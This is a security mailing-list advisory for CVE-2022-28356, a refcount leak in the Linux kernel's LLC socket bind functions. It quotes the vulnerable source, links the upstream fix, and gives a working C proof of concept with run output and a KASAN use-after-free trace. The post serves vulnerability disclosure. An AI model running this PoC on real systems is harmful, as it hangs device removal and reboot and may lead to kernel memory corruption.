oss-sec mailing list archives
CVE-2022-28356: Linux kernel: refcount leak in llc_ui_bind and llc_ui_autobind
From: Gianluca Gabrielli <ggabrielli () suse de>
Date: Wed, 6 Apr 2022 14:22:04 +0200
Hi list,Below you can find the security-bug report Beraphin shared with us a few days ago. It's been addressed in mainline at 764f4eb [0].
Mitre assigned CVE-2022-28356.[0] https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=764f4eb6846f5475f1244767d24d25dd86528a4a
Beraphin wrote:
I found a refcount leak bug in llc_ui_bind() from /net/llc/af_llc.c. In this function, if it finds an ARPHRD_ETHER type net
device, it will hold the device's refcount:
'''
if (sk->sk_bound_dev_if) {
llc->dev = dev_get_by_index_rcu(&init_net, sk->sk_bound_dev_if);
if (llc->dev) {
if (is_zero_ether_addr(addr->sllc_mac))
memcpy(addr->sllc_mac, llc->dev->dev_addr,
IFHWADDRLEN);
if (addr->sllc_arphrd != llc->dev->type ||
!ether_addr_equal(addr->sllc_mac,
llc->dev->dev_addr)) {
rc = -EINVAL;
llc->dev = NULL;
}
}
} else
llc->dev = dev_getbyhwaddr_rcu(&init_net, addr->sllc_arphrd,
addr->sllc_mac);
dev_hold_track(llc->dev, &llc->dev_tracker, GFP_ATOMIC);
'''
but doesn't release the device if it fails to find a usable sap later:
'''
sap = llc_sap_find(addr->sllc_sap);
if (!sap) {
sap = llc_sap_open(addr->sllc_sap, NULL);
rc = -EBUSY; /* some other network layer is using the sap */
if (!sap)
goto out;
} else {
...
out_put:
llc_sap_put(sap);
out:
release_sock(sk);
'''
If we call llc_ui_bind() on a socket multiple times and provide it a used sllc_sap each time, the device's refcount
will be increased unexpectedly, and the device cannot be removed then.
A simple PoC code is as below:
'''
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/socket.h>
#include <linux/llc.h>
#include <time.h>
#define REVISE_NUM 20
#define ARPHRD_ETHER 1
int main(void)
{
int s1, s2, ret, i;
char eth0[] = {0, 0, 0, 0, 0, 0}; // change it
int try;
struct sockaddr_llc addr;
memset(&addr, 0, sizeof(struct sockaddr_llc));
addr.sllc_family = AF_LLC;
addr.sllc_arphrd = ARPHRD_ETHER;
memcpy(addr.sllc_mac, eth0, 6);
addr.sllc_sap = 20;
s1 = socket(PF_LLC, SOCK_STREAM, 0);
s2 = socket(PF_LLC, SOCK_STREAM, 0);
printf("s1 = %d, s2 = %d\n", s1, s2);
ret = bind(s1, (struct sockaddr *)&addr, sizeof(struct sockaddr_llc));
printf("bind1 return %d\n", ret);
ret = bind(s2, (struct sockaddr *)&addr, sizeof(struct sockaddr_llc));
printf("bind2 return %d\n", ret);
ret = bind(s2, (struct sockaddr *)&addr, sizeof(struct sockaddr_llc));
printf("bind3 return %d\n", ret);
ret = bind(s2, (struct sockaddr *)&addr, sizeof(struct sockaddr_llc));
printf("bind4 return %d\n", ret);
close(s1);
close(s2);
return 0;
}
'''
After executing the poc above, we can neither remove the bounded net_device nor reboot the OS. The PoC is tested on
Linux-5.17-rc5:
'''
/ # /home/pwn/exp
s1 = 3, s2 = 4
bind1 return 0
bind2 return -1
bind3 return -1
bind4 return -1
/ #
/ # reboot
/ #
/ # rmmod e1000
[ 185.976235] unregister_netdevice: waiting for eth0 to become free. Usage count = 3
[ 196.056399] unregister_netdevice: waiting for eth0 to become free. Usage count = 3
'''
An attacker can leverage this flaw to trigger an integer overflow on the device's refcount and eventually lead to a
use-after-free bug:
'''
[ 97.850647] ==================================================================
[ 97.850647] BUG: KASAN: use-after-free in llc_alloc_frame+0x2aa/0x320 [llc2]
[ 97.850647] Read of size 2 at addr ffff88803e9b2128 by task swapper/2/0
[ 97.850647]
[ 97.850647] CPU: 2 PID: 0 Comm: swapper/2 Tainted: G E 5.17.0-rc5 #2
[ 97.850647] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
[ 97.850647] Call Trace:
[ 97.850647] <IRQ>
[ 97.850647] dump_stack_lvl+0x89/0xb5
[ 97.850647] print_address_description.constprop.0+0x24/0x150
[ 97.850647] ? llc_alloc_frame+0x2aa/0x320 [llc2]
[ 97.850647] kasan_report.cold+0x82/0xdb
[ 97.850647] ? llc_alloc_frame+0x2aa/0x320 [llc2]
[ 97.850647] __asan_report_load2_noabort+0x14/0x20
[ 97.850647] llc_alloc_frame+0x2aa/0x320 [llc2]
[ 97.850647] ? llc_conn_set_p_flag+0xf0/0xf0 [llc2]
[ 97.850647] llc_conn_ac_send_sabme_cmd_p_set_x+0x56/0x470 [llc2]
[ 97.850647] ? __sanitizer_cov_trace_switch+0x54/0x90
[ 97.850647] ? llc_conn_set_p_flag+0xf0/0xf0 [llc2]
[ 97.850647] llc_conn_state_process+0x3fa/0x13f0 [llc2]
[ 97.850647] llc_conn_tmr_common_cb+0x2c0/0x6d0 [llc2]
[ 97.850647] ? llc_conn_busy_tmr_cb+0x30/0x30 [llc2]
[ 97.850647] llc_conn_ack_tmr_cb+0x23/0x30 [llc2]
[ 97.850647] call_timer_fn+0x46/0x290
[ 97.850647] ? llc_conn_busy_tmr_cb+0x30/0x30 [llc2]
[ 97.850647] __run_timers.part.0+0x6b0/0x9b0
[ 97.850647] ? call_timer_fn+0x290/0x290
[ 97.850647] ? __sanitizer_cov_trace_cmp4+0x16/0x20
[ 97.850647] ? ktime_get+0xff/0x150
[ 97.850647] ? lapic_next_event+0x5b/0x90
[ 97.850647] ? __sanitizer_cov_trace_const_cmp4+0x16/0x20
[ 97.850647] ? clockevents_program_event+0x14a/0x390
[ 97.850647] run_timer_softirq+0xb8/0x1b0
[ 97.850647] __do_softirq+0x1ac/0x5af
[ 97.850647] __irq_exit_rcu+0xd9/0x190
[ 97.850647] irq_exit_rcu+0xe/0x10
[ 97.850647] sysvec_apic_timer_interrupt+0x98/0xb0
[ 97.850647] </IRQ>
[ 97.850647] <TASK>
[ 97.850647] asm_sysvec_apic_timer_interrupt+0x12/0x20
[ 97.850647] RIP: 0010:native_safe_halt+0xb/0x10
'''
The function llc_ui_autobind() has the same issue.
Best Regards, Gianluca -- . o . Gianluca Gabrielli gianlu.ca . . o Software security engineer suse.com o o o D78D 3FDC 2591 7EBA B52F 2362 6E17 38B8 2B60 B31D -Dance like no one's watching, encrypt like everyone is-
Attachment:
OpenPGP_signature
Description: OpenPGP digital signature
Current thread:
- CVE-2022-28356: Linux kernel: refcount leak in llc_ui_bind and llc_ui_autobind Gianluca Gabrielli (Apr 06)
